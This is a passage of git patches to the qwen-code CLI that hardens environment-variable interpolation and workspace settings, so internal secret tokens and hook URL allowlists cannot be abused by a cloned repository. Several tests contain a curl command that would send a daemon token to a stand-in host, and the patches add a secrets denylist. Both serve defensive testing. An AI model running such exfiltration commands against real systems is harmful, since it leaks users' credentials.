"./sanitizeChildEnv": { + "types": "./dist/src/utils/sanitize-child-env.d.ts", + "import": "./dist/src/utils/sanitize-child-env.js" + }, "./package.json": "./package.json", "./dist/*": "./dist/*", "./src/*": "./src/*" diff --git a/packages/core/src/hooks/envInterpolator.test.ts b/packages/core/src/hooks/envInterpolator.test.ts index 2f689b65520..f554af21d6c 100644 --- a/packages/core/src/hooks/envInterpolator.test.ts +++ b/packages/core/src/hooks/envInterpolator.test.ts @@ -71,6 +71,15 @@ describe('envInterpolator', () => { expect(result).not.toContain('daemon-secret'); }); + it('should block internal secrets regardless of casing', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + const result = interpolateEnvVars('token=$qwen_server_token', [ + 'qwen_server_token', + ]); + expect(result).toBe('token='); + expect(result).not.toContain('daemon-secret'); + }); + it('should handle empty whitelist', () => { const result = interpolateEnvVars('$MY_TOKEN', []); expect(result).toBe(''); diff --git a/packages/core/src/hooks/envInterpolator.ts b/packages/core/src/hooks/envInterpolator.ts index 7fdd656b8b6..ee01ff8a6de 100644 --- a/packages/core/src/hooks/envInterpolator.ts +++ b/packages/core/src/hooks/envInterpolator.ts @@ -9,7 +9,7 @@ * Provides secure interpolation with whitelist-based access control. */ -import { INTERNAL_SECRET_ENV_VARS } from '../utils/sanitize-child-env.js'; +import { isInternalSecretEnvVar } from '../utils/sanitize-child-env.js'; /** * Strip CR, LF, and NUL bytes from a header value to prevent HTTP header @@ -71,7 +71,7 @@ export function interpolateEnvVars( // never interpolated, even when a hook config names them in // allowedEnvVars — the whitelist is repo-controlled, the values // leave the process over the network. - if (INTERNAL_SECRET_ENV_VARS.includes(varName)) { + if (isInternalSecretEnvVar(varName)) { return ''; } if (allowedVars.includes(varName)) { diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index 31eb7adca15..470adda1d28 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2628,6 +2628,33 @@ bad`); await result.dispose(); }); + it('registers hooks for a user-level subagent regardless of folder trust', async () => { + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'user', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).toHaveBeenCalledTimes(1); + await result.dispose(); + }); + it('dispose unregisters even when execute() never runs (early-exit leak fix)', async () => { // Caller pattern: // const { subagent, dispose } = await createAgentHeadless(...); diff --git a/packages/core/src/utils/envVarResolver.test.ts b/packages/core/src/utils/envVarResolver.test.ts index 65b85bad325..76467bfc506 100644 --- a/packages/core/src/utils/envVarResolver.test.ts +++ b/packages/core/src/utils/envVarResolver.test.ts @@ -63,6 +63,17 @@ describe('resolveEnvVarsInString', () => { expect(result).not.toContain('daemon-secret'); }); + it('should block internal secrets regardless of casing (Windows process.env)', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + + const result = resolveEnvVarsInString( + 'curl https://x/t=$qwen_server_token', + ); + + expect(result).toBe('curl https://x/t=$qwen_server_token'); + expect(result).not.toContain('daemon-secret'); + }); + it('should leave undefined variables with braces unchanged', () => { const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); diff --git a/packages/core/src/utils/envVarResolver.ts b/packages/core/src/utils/envVarResolver.ts index 5b67c342b6e..069b6d4a3cc 100644 --- a/packages/core/src/utils/envVarResolver.ts +++ b/packages/core/src/utils/envVarResolver.ts @@ -4,7 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { INTERNAL_SECRET_ENV_VARS } from './sanitize-child-env.js'; +import { isInternalSecretEnvVar } from './sanitize-child-env.js'; /** * Resolves environment variables in a string. @@ -35,7 +35,7 @@ export function resolveEnvVarsInString( if (customEnv && typeof customEnv[varName] === 'string') { return customEnv[varName]; } - if (INTERNAL_SECRET_ENV_VARS.includes(varName)) { + if (isInternalSecretEnvVar(varName)) { return match; } if (process && process.env && typeof process.env[varName] === 'string') { diff --git a/packages/core/src/utils/sanitize-child-env.ts b/packages/core/src/utils/sanitize-child-env.ts index 6bacbd1173f..6f0de8b1143 100644 --- a/packages/core/src/utils/sanitize-child-env.ts +++ b/packages/core/src/utils/sanitize-child-env.ts @@ -32,6 +32,18 @@ export const INTERNAL_SECRET_ENV_VARS: readonly string[] = [ PRIVATE_ACP_CAPABILITY_ENV, ]; +const INTERNAL_SECRET_ENV_VARS_UPPER = new Set( + INTERNAL_SECRET_ENV_VARS.map((v) => v.toUpperCase()), +); + +/** + * Case-insensitive check for the internal-secret denylist. `process.env` is + * case-insensitive on Windows, so a mixed-case reference like + * `$qwen_server_token` must still be blocked. + */ +export const isInternalSecretEnvVar = (name: string): boolean => + INTERNAL_SECRET_ENV_VARS_UPPER.has(name.toUpperCase()); + /** * Return a shallow copy of `env` with Qwen-internal secrets removed, so it is * safe to pass to a child process spawned on the user's behalf. Does not From 1353d0b60372416a657ab36579c890583e610fa6 Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Sun, 2 Aug 2026 23:46:01 +0000 Subject: [PATCH 07/21] fix(hooks): meaningful casing tests, single env resolver, workspace-strip constant (#8396) --- docs/users/features/hooks.md | 2 +- packages/cli/src/config/settings.ts | 60 ++-- packages/cli/src/config/settingsSchema.ts | 2 +- packages/cli/src/serve/fast-path-settings.ts | 2 +- packages/cli/src/utils/envVarResolver.test.ts | 318 ------------------ packages/cli/src/utils/envVarResolver.ts | 138 -------- packages/cli/tsconfig.json | 3 + packages/cli/vitest.config.ts | 4 + packages/core/package.json | 4 + .../core/src/hooks/envInterpolator.test.ts | 1 + .../core/src/utils/envVarResolver.test.ts | 1 + .../schemas/settings.schema.json | 2 +- 12 files changed, 47 insertions(+), 490 deletions(-) delete mode 100644 packages/cli/src/utils/envVarResolver.test.ts delete mode 100644 packages/cli/src/utils/envVarResolver.ts diff --git a/docs/users/features/hooks.md b/docs/users/features/hooks.md index c2010e0e059..66c3f3a9d3c 100644 --- a/docs/users/features/hooks.md +++ b/docs/users/features/hooks.md @@ -117,7 +117,7 @@ By default, HTTP hooks cannot target private or link-local IP ranges. In platfor - This setting is **only honored from User, System, and SystemDefaults settings scopes**. A value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can never self-grant this bypass. - The flag relaxes only the general private/CGNAT/link-local **range** checks. Cloud metadata endpoints stay blocked in every configuration: the `BLOCKED_HOSTS` list is matched literally (`metadata.google.internal`, `metadata.azure.internal`, ...), and the metadata IPs `169.254.169.254` and `100.100.100.200` are blocked in all serialized forms (including IPv4-mapped IPv6 such as `::ffff:a9fe:a9fe`) and after DNS resolution. -- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. +- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **only honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can neither widen where hook payloads may be sent nor replace the user's whitelist. > **Warning:** Enabling this flag lets hooks reach internal infrastructure on your network. Enable it only in trusted, managed settings — never in a repository you do not control. diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index bfb17743ea4..70688135aff 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -30,7 +30,7 @@ import { type SettingDefinition, getSettingsSchema, } from './settingsSchema.js'; -import { resolveEnvVarsInObject } from '../utils/envVarResolver.js'; +import { resolveEnvVarsInObject } from '@qwen-code/qwen-code-core/envVarResolver'; import { setNestedPropertySafe } from '../utils/settingsUtils.js'; import { customDeepMerge } from '../utils/deepMerge.js'; import { updateSettingsFilePreservingFormat } from '../utils/jsonc-editor.js'; @@ -320,6 +320,14 @@ function getModelProvidersOverrideWarnings( ]; } +// Security settings that must never be honored from Workspace scope; they +// are stripped during the merge (see stripWorkspaceHookSecurityOverrides) +// and getSettingsWarnings reports them. +const WORKSPACE_STRIPPED_SECURITY_FIELDS = [ + 'allowPrivateNetworkHooks', + 'allowedHttpHookUrls', +] as const; + /** * Collects warnings for ignored legacy and unknown settings keys, * as well as migration warnings. @@ -358,26 +366,18 @@ export function getSettingsWarnings(loadedSettings: LoadedSettings): string[] { warningSet.add(warning); } - // security.allowPrivateNetworkHooks and security.allowedHttpHookUrls are - // stripped from Workspace scope during the merge; warn so the user knows - // their workspace setting has no effect. + // WORKSPACE_STRIPPED_SECURITY_FIELDS are stripped from Workspace scope + // during the merge; warn so the user knows their workspace setting has no + // effect. const workspaceFile = loadedSettings.forScope(SettingScope.Workspace); - if ( - workspaceFile.rawJson !== undefined && - workspaceFile.originalSettings.security?.allowPrivateNetworkHooks !== - undefined - ) { - warningSet.add( - `Warning: security.allowPrivateNetworkHooks in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, - ); - } - if ( - workspaceFile.rawJson !== undefined && - workspaceFile.originalSettings.security?.allowedHttpHookUrls !== undefined - ) { - warningSet.add( - `Warning: security.allowedHttpHookUrls in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, - ); + if (workspaceFile.rawJson !== undefined) { + for (const field of WORKSPACE_STRIPPED_SECURITY_FIELDS) { + if (workspaceFile.originalSettings.security?.[field] !== undefined) { + warningSet.add( + `Warning: security.${field} in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, + ); + } + } } return [...warningSet]; @@ -414,23 +414,23 @@ function tagMcpServerScope( * scope — otherwise a malicious repository could self-grant the bypass * (point hooks at link-local or private infrastructure) or widen the * whitelist to exfiltrate hook payloads past the user's configured - * boundary. Strip both from workspace settings before merging. + * boundary. Strip them all from workspace settings before merging. * Returns a shallow copy — never mutates input. */ function stripWorkspaceHookSecurityOverrides(settings: Settings): Settings { - const { allowPrivateNetworkHooks, allowedHttpHookUrls } = - settings.security ?? {}; + const security = settings.security; if ( - allowPrivateNetworkHooks === undefined && - allowedHttpHookUrls === undefined + !security || + WORKSPACE_STRIPPED_SECURITY_FIELDS.every( + (field) => security[field] === undefined, + ) ) { return settings; } - const { - allowPrivateNetworkHooks: _strippedFlag, - allowedHttpHookUrls: _strippedUrls, - ...restSecurity - } = settings.security!; + const restSecurity = { ...security }; + for (const field of WORKSPACE_STRIPPED_SECURITY_FIELDS) { + delete restSecurity[field]; + } return { ...settings, security: restSecurity }; } diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index a38b46f94f1..81071093b2f 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -2980,7 +2980,7 @@ const SETTINGS_SCHEMA = { requiresRestart: false, default: [] as string[], description: - 'Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection).', + 'Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; values set in Workspace settings are ignored so a cloned repository cannot widen the whitelist.', showInDialog: false, items: { type: 'string', diff --git a/packages/cli/src/serve/fast-path-settings.ts b/packages/cli/src/serve/fast-path-settings.ts index 500e2d27ceb..f101419ae0d 100644 --- a/packages/cli/src/serve/fast-path-settings.ts +++ b/packages/cli/src/serve/fast-path-settings.ts @@ -27,7 +27,7 @@ import { } from '../config/path-comparison.js'; import { publishPendingCompileCache } from '../config/compile-cache.js'; import type { Settings } from '../config/settingsSchema.js'; -import { resolveEnvVarsInObject } from '../utils/envVarResolver.js'; +import { resolveEnvVarsInObject } from '@qwen-code/qwen-code-core/envVarResolver'; type ServeFastPathPolicy = Pick< NonNullable, diff --git a/packages/cli/src/utils/envVarResolver.test.ts b/packages/cli/src/utils/envVarResolver.test.ts deleted file mode 100644 index 7ccac9f7190..00000000000 --- a/packages/cli/src/utils/envVarResolver.test.ts +++ /dev/null @@ -1,318 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { - resolveEnvVarsInString, - resolveEnvVarsInObject, -} from './envVarResolver.js'; - -describe('resolveEnvVarsInString', () => { - let originalEnv: NodeJS.ProcessEnv; - - beforeEach(() => { - originalEnv = { ...process.env }; - }); - - afterEach(() => { - process.env = originalEnv; - }); - - it('should resolve $VAR_NAME format', () => { - process.env['TEST_VAR'] = 'test-value'; - - const result = resolveEnvVarsInString('Value is $TEST_VAR'); - - expect(result).toBe('Value is test-value'); - }); - - it('should resolve ${VAR_NAME} format', () => { - process.env['TEST_VAR'] = 'test-value'; - - const result = resolveEnvVarsInString('Value is ${TEST_VAR}'); - - expect(result).toBe('Value is test-value'); - }); - - it('should resolve multiple variables in the same string', () => { - process.env['HOST'] = 'localhost'; - process.env['PORT'] = '3000'; - - const result = resolveEnvVarsInString('URL: http://$HOST:${PORT}/api'); - - expect(result).toBe('URL: http://localhost:3000/api'); - }); - - it('should leave undefined variables unchanged', () => { - const result = resolveEnvVarsInString('Value is $UNDEFINED_VAR'); - expect(result).toBe('Value is $UNDEFINED_VAR'); - }); - - it('should never resolve Qwen-internal secrets from process.env', () => { - process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; - - const result = resolveEnvVarsInString( - 'curl https://x/t=$QWEN_SERVER_TOKEN', - ); - - expect(result).toBe('curl https://x/t=$QWEN_SERVER_TOKEN'); - expect(result).not.toContain('daemon-secret'); - }); - - it('should block internal secrets regardless of casing (Windows process.env)', () => { - process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; - - const result = resolveEnvVarsInString( - 'curl https://x/t=$qwen_server_token', - ); - - expect(result).toBe('curl https://x/t=$qwen_server_token'); - expect(result).not.toContain('daemon-secret'); - }); - - it('should leave undefined variables with braces unchanged', () => { - const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); - - expect(result).toBe('Value is ${UNDEFINED_VAR}'); - }); - - it('should handle empty string', () => { - const result = resolveEnvVarsInString(''); - - expect(result).toBe(''); - }); - - it('should handle string without variables', () => { - const result = resolveEnvVarsInString('No variables here'); - - expect(result).toBe('No variables here'); - }); - - it('should handle mixed defined and undefined variables', () => { - process.env['DEFINED'] = 'value'; - - const result = resolveEnvVarsInString('$DEFINED and $UNDEFINED mixed'); - - expect(result).toBe('value and $UNDEFINED mixed'); - }); -}); - -describe('resolveEnvVarsInObject', () => { - let originalEnv: NodeJS.ProcessEnv; - - beforeEach(() => { - originalEnv = { ...process.env }; - }); - - afterEach(() => { - process.env = originalEnv; - }); - - it('should resolve variables in nested objects', () => { - process.env['API_KEY'] = 'secret-123'; - process.env['DB_URL'] = 'postgresql://localhost/test'; - - const config = { - server: { - auth: { - key: '$API_KEY', - }, - database: '${DB_URL}', - }, - port: 3000, - }; - - const result = resolveEnvVarsInObject(config); - - expect(result).toEqual({ - server: { - auth: { - key: 'secret-123', - }, - database: 'postgresql://localhost/test', - }, - port: 3000, - }); - }); - - it('should resolve variables in arrays', () => { - process.env['ENV'] = 'production'; - process.env['VERSION'] = '1.0.0'; - - const config = { - tags: ['$ENV', 'app', '${VERSION}'], - metadata: { - env: '$ENV', - }, - }; - - const result = resolveEnvVarsInObject(config); - - expect(result).toEqual({ - tags: ['production', 'app', '1.0.0'], - metadata: { - env: 'production', - }, - }); - }); - - it('should preserve non-string types', () => { - const config = { - enabled: true, - count: 42, - value: null, - data: undefined, - tags: ['item1', 'item2'], - }; - - const result = resolveEnvVarsInObject(config); - - expect(result).toEqual(config); - }); - - it('should handle MCP server config structure', () => { - process.env['API_TOKEN'] = 'token-123'; - process.env['SERVER_PORT'] = '8080'; - - const extensionConfig = { - name: 'test-extension', - version: '1.0.0', - mcpServers: { - 'test-server': { - command: 'node', - args: ['server.js', '--port', '${SERVER_PORT}'], - env: { - API_KEY: '$API_TOKEN', - STATIC_VALUE: 'unchanged', - }, - timeout: 5000, - }, - }, - }; - - const result = resolveEnvVarsInObject(extensionConfig); - - expect(result).toEqual({ - name: 'test-extension', - version: '1.0.0', - mcpServers: { - 'test-server': { - command: 'node', - args: ['server.js', '--port', '8080'], - env: { - API_KEY: 'token-123', - STATIC_VALUE: 'unchanged', - }, - timeout: 5000, - }, - }, - }); - }); - - it('should handle empty and null values', () => { - const config = { - empty: '', - nullValue: null, - undefinedValue: undefined, - zero: 0, - false: false, - }; - - const result = resolveEnvVarsInObject(config); - - expect(result).toEqual(config); - }); - - it('should handle circular references in objects without infinite recursion', () => { - process.env['TEST_VAR'] = 'resolved-value'; - - type ConfigWithCircularRef = { - name: string; - value: number; - self?: ConfigWithCircularRef; - }; - - const config: ConfigWithCircularRef = { - name: '$TEST_VAR', - value: 42, - }; - // Create circular reference - config.self = config; - - const result = resolveEnvVarsInObject(config); - - expect(result.name).toBe('resolved-value'); - expect(result.value).toBe(42); - expect(result.self).toBeDefined(); - expect(result.self?.name).toBe('$TEST_VAR'); // Circular reference should be shallow copied - expect(result.self?.value).toBe(42); - // Verify it doesn't create infinite recursion by checking it's not the same object - expect(result.self).not.toBe(result); - }); - - it('should handle circular references in arrays without infinite recursion', () => { - process.env['ARRAY_VAR'] = 'array-value'; - - type ArrayWithCircularRef = Array; - const arr: ArrayWithCircularRef = ['$ARRAY_VAR', 123]; - // Create circular reference - arr.push(arr); - - const result = resolveEnvVarsInObject(arr) as ArrayWithCircularRef; - - expect(result[0]).toBe('array-value'); - expect(result[1]).toBe(123); - expect(Array.isArray(result[2])).toBe(true); - const subArray = result[2] as ArrayWithCircularRef; - expect(subArray[0]).toBe('$ARRAY_VAR'); // Circular reference should be shallow copied - expect(subArray[1]).toBe(123); - // Verify it doesn't create infinite recursion - expect(result[2]).not.toBe(result); - }); - - it('should handle complex nested circular references', () => { - process.env['NESTED_VAR'] = 'nested-resolved'; - - type ObjWithRef = { - name: string; - id: number; - ref?: ObjWithRef; - }; - - const obj1: ObjWithRef = { name: '$NESTED_VAR', id: 1 }; - const obj2: ObjWithRef = { name: 'static', id: 2 }; - - // Create cross-references - obj1.ref = obj2; - obj2.ref = obj1; - - const config = { - primary: obj1, - secondary: obj2, - value: '$NESTED_VAR', - }; - - const result = resolveEnvVarsInObject(config); - - expect(result.value).toBe('nested-resolved'); - expect(result.primary.name).toBe('nested-resolved'); - expect(result.primary.id).toBe(1); - expect(result.secondary.name).toBe('static'); - expect(result.secondary.id).toBe(2); - - // Check that circular references are handled (shallow copied) - expect(result.primary.ref).toBeDefined(); - expect(result.secondary.ref).toBeDefined(); - expect(result.primary.ref?.name).toBe('static'); // Should be shallow copy - expect(result.secondary.ref?.name).toBe('nested-resolved'); // The shallow copy still gets processed - - // Most importantly: verify no infinite recursion by checking objects are different - expect(result.primary.ref).not.toBe(result.secondary); - expect(result.secondary.ref).not.toBe(result.primary); - expect(result.primary).not.toBe(obj1); // New object created - expect(result.secondary).not.toBe(obj2); // New object created - }); -}); diff --git a/packages/cli/src/utils/envVarResolver.ts b/packages/cli/src/utils/envVarResolver.ts deleted file mode 100644 index 5c2535b93c9..00000000000 --- a/packages/cli/src/utils/envVarResolver.ts +++ /dev/null @@ -1,138 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import { isInternalSecretEnvVar } from '@qwen-code/qwen-code-core/sanitizeChildEnv'; - -/** - * Resolves environment variables in a string. - * Replaces $VAR_NAME and ${VAR_NAME} with their corresponding environment variable values. - * If the environment variable is not defined, the original placeholder is preserved. - * - * Qwen-internal secrets (INTERNAL_SECRET_ENV_VARS — daemon tokens, private - * capabilities) are never resolved from `process.env`: settings files can - * come from a repository, and a resolved value is baked into hook commands, - * URLs, or MCP configs before child-env sanitization ever applies. Leaving - * the placeholder unresolved is safe — spawned children get a sanitized - * environment without those variables. - * - * @param value - The string that may contain environment variable placeholders - * @returns The string with environment variables resolved - * - * @example - * resolveEnvVarsInString("Token: $API_KEY") // Returns "Token: secret-123" - * resolveEnvVarsInString("URL: ${BASE_URL}/api") // Returns "URL: https://api.example.com/api" - * resolveEnvVarsInString("Missing: $UNDEFINED_VAR") // Returns "Missing: $UNDEFINED_VAR" - */ -export function resolveEnvVarsInString( - value: string, - customEnv?: Record, -): string { - const envVarRegex = /\$(?:(\w+)|{([^}]+)})/g; // Find $VAR_NAME or ${VAR_NAME} - return value.replace(envVarRegex, (match, varName1, varName2) => { - const varName = varName1 || varName2; - if (customEnv && typeof customEnv[varName] === 'string') { - return customEnv[varName]; - } - if (isInternalSecretEnvVar(varName)) { - return match; - } - if (process && process.env && typeof process.env[varName] === 'string') { - return process.env[varName]!; - } - return match; - }); -} - -/** - * Recursively resolves environment variables in an object of any type. - * Handles strings, arrays, nested objects, and preserves other primitive types. - * Protected against circular references using a WeakSet to track visited objects. - * - * @param obj - The object to process for environment variable resolution - * @returns A new object with environment variables resolved - * - * @example - * const config = { - * server: { - * host: "$HOST", - * port: "${PORT}", - * enabled: true, - * tags: ["$ENV", "api"] - * } - * }; - * const resolved = resolveEnvVarsInObject(config); - */ -export function resolveEnvVarsInObject( - obj: T, - customEnv?: Record, -): T { - return resolveEnvVarsInObjectInternal(obj, new WeakSet(), customEnv); -} - -/** - * Internal implementation of resolveEnvVarsInObject with circular reference protection. - * - * @param obj - The object to process - * @param visited - WeakSet to track visited objects and prevent circular references - * @returns A new object with environment variables resolved - */ -function resolveEnvVarsInObjectInternal( - obj: T, - visited: WeakSet, - customEnv?: Record, -): T { - if ( - obj === null || - obj === undefined || - typeof obj === 'boolean' || - typeof obj === 'number' - ) { - return obj; - } - - if (typeof obj === 'string') { - return resolveEnvVarsInString(obj, customEnv) as unknown as T; - } - - if (Array.isArray(obj)) { - // Check for circular reference - if (visited.has(obj)) { - // Return a shallow copy to break the cycle - return [...obj] as unknown as T; - } - - visited.add(obj); - const result = obj.map((item) => - resolveEnvVarsInObjectInternal(item, visited, customEnv), - ) as unknown as T; - visited.delete(obj); - return result; - } - - if (typeof obj === 'object') { - // Check for circular reference - if (visited.has(obj as object)) { - // Return a shallow copy to break the cycle - return { ...obj } as T; - } - - visited.add(obj as object); - const newObj = { ...obj } as T; - for (const key in newObj) { - if (Object.prototype.hasOwnProperty.call(newObj, key)) { - newObj[key] = resolveEnvVarsInObjectInternal( - newObj[key], - visited, - customEnv, - ); - } - } - visited.delete(obj as object); - return newObj; - } - - return obj; -} diff --git a/packages/cli/tsconfig.json b/packages/cli/tsconfig.json index a370a852ede..72f0f9b09cf 100644 --- a/packages/cli/tsconfig.json +++ b/packages/cli/tsconfig.json @@ -14,6 +14,9 @@ "@qwen-code/qwen-code-core/sanitizeChildEnv": [ "../core/src/utils/sanitize-child-env.ts" ], + "@qwen-code/qwen-code-core/envVarResolver": [ + "../core/src/utils/envVarResolver.ts" + ], "@qwen-code/qwen-code-core/*": ["../core/src/*"], "@qwen-code/acp-bridge": ["../acp-bridge/src/index.ts"], "@qwen-code/acp-bridge/transcriptReplay": [ diff --git a/packages/cli/vitest.config.ts b/packages/cli/vitest.config.ts index e70c33e1f40..07eaae2fd34 100644 --- a/packages/cli/vitest.config.ts +++ b/packages/cli/vitest.config.ts @@ -31,6 +31,10 @@ export default defineConfig({ __dirname, '../core/src/utils/sanitize-child-env.ts', ), + '@qwen-code/qwen-code-core/envVarResolver': path.resolve( + __dirname, + '../core/src/utils/envVarResolver.ts', + ), '@qwen-code/qwen-code-core': path.resolve(__dirname, '../core/index.ts'), // cli's daemon-status-provider.test.ts imports `FakeAgent` / // `makeChannel` from acp-bridge's package-private diff --git a/packages/core/package.json b/packages/core/package.json index 364bb68231b..28e874a7b2a 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -33,6 +33,10 @@ "types": "./dist/src/utils/sanitize-child-env.d.ts", "import": "./dist/src/utils/sanitize-child-env.js" }, + "./envVarResolver": { + "types": "./dist/src/utils/envVarResolver.d.ts", + "import": "./dist/src/utils/envVarResolver.js" + }, "./package.json": "./package.json", "./dist/*": "./dist/*", "./src/*": "./src/*" diff --git a/packages/core/src/hooks/envInterpolator.test.ts b/packages/core/src/hooks/envInterpolator.test.ts index f554af21d6c..bfb65722d97 100644 --- a/packages/core/src/hooks/envInterpolator.test.ts +++ b/packages/core/src/hooks/envInterpolator.test.ts @@ -73,6 +73,7 @@ describe('envInterpolator', () => { it('should block internal secrets regardless of casing', () => { process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + process.env['qwen_server_token'] = 'daemon-secret'; const result = interpolateEnvVars('token=$qwen_server_token', [ 'qwen_server_token', ]); diff --git a/packages/core/src/utils/envVarResolver.test.ts b/packages/core/src/utils/envVarResolver.test.ts index 76467bfc506..b192b672553 100644 --- a/packages/core/src/utils/envVarResolver.test.ts +++ b/packages/core/src/utils/envVarResolver.test.ts @@ -65,6 +65,7 @@ describe('resolveEnvVarsInString', () => { it('should block internal secrets regardless of casing (Windows process.env)', () => { process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + process.env['qwen_server_token'] = 'daemon-secret'; const result = resolveEnvVarsInString( 'curl https://x/t=$qwen_server_token', diff --git a/packages/vscode-ide-companion/schemas/settings.schema.json b/packages/vscode-ide-companion/schemas/settings.schema.json index 391e8c08f58..8d4a906d656 100644 --- a/packages/vscode-ide-companion/schemas/settings.schema.json +++ b/packages/vscode-ide-companion/schemas/settings.schema.json @@ -1411,7 +1411,7 @@ } }, "allowedHttpHookUrls": { - "description": "Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection).", + "description": "Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; values set in Workspace settings are ignored so a cloned repository cannot widen the whitelist.", "type": "array", "items": { "description": "URL pattern (supports * wildcard)", From e3accbea318e7181e8c8d66b950f3f393f5a84b5 Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Mon, 3 Aug 2026 01:48:59 +0000 Subject: [PATCH 08/21] fix(hooks): case-insensitive child-env sanitize, denylist-first resolver, 3xx warning (#8396) --- packages/cli/src/config/settings.test.ts | 42 +++++++++++++++++++ packages/cli/tsconfig.json | 3 -- packages/cli/vitest.config.ts | 4 -- packages/core/package.json | 4 -- .../core/src/hooks/httpHookRunner.test.ts | 18 ++++++++ packages/core/src/hooks/httpHookRunner.ts | 18 ++++++-- .../core/src/subagents/subagent-manager.ts | 4 -- .../core/src/utils/envVarResolver.test.ts | 8 ++++ packages/core/src/utils/envVarResolver.ts | 8 ++-- .../core/src/utils/sanitize-child-env.test.ts | 11 +++++ packages/core/src/utils/sanitize-child-env.ts | 8 +++- 11 files changed, 105 insertions(+), 23 deletions(-) diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index b907938c74a..5e72f270d04 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3270,6 +3270,7 @@ describe('Settings Loading and Merging', () => { security: { allowPrivateNetworkHooks: true, allowedHttpHookUrls: ['https://hooks.example.com/*'], + folderTrust: { enabled: true }, }, }; @@ -3289,6 +3290,11 @@ describe('Settings Loading and Merging', () => { settings.merged.security?.allowPrivateNetworkHooks, ).toBeUndefined(); expect(settings.merged.security?.allowedHttpHookUrls).toBeUndefined(); + // ...but the strip is surgical: other workspace security settings + // still merge. + expect(settings.merged.security?.folderTrust).toEqual({ + enabled: true, + }); }); it('should honor security.allowedHttpHookUrls from user scope', () => { @@ -3355,6 +3361,42 @@ describe('Settings Loading and Merging', () => { ).toBe(true); }); + it('should not warn about stripped security fields when workspace settings do not define them', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { folderTrust: { enabled: true } }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + const warnings = getSettingsWarnings(settings); + expect( + warnings.some((w) => w.includes('security.allowPrivateNetworkHooks')), + ).toBe(false); + expect( + warnings.some((w) => w.includes('security.allowedHttpHookUrls')), + ).toBe(false); + }); + + it('should not warn about stripped security fields when no workspace settings file is loaded', () => { + // beforeEach defaults (existsSync -> false): no settings file loads, + // so there is no workspace scope to strip or warn about. + const settings = loadSettings(MOCK_WORKSPACE_DIR); + expect(settings.workspace.rawJson).toBeUndefined(); + const warnings = getSettingsWarnings(settings); + expect( + warnings.some((w) => w.includes('security.allowPrivateNetworkHooks')), + ).toBe(false); + expect( + warnings.some((w) => w.includes('security.allowedHttpHookUrls')), + ).toBe(false); + }); + it('should let user scope win over a stripped workspace value', () => { (mockFsExistsSync as Mock).mockReturnValue(true); (fs.readFileSync as Mock).mockImplementation( diff --git a/packages/cli/tsconfig.json b/packages/cli/tsconfig.json index 72f0f9b09cf..fb3799ee9b4 100644 --- a/packages/cli/tsconfig.json +++ b/packages/cli/tsconfig.json @@ -11,9 +11,6 @@ "@qwen-code/qwen-code-core/transcriptRecords": [ "../core/src/utils/transcript-records.ts" ], - "@qwen-code/qwen-code-core/sanitizeChildEnv": [ - "../core/src/utils/sanitize-child-env.ts" - ], 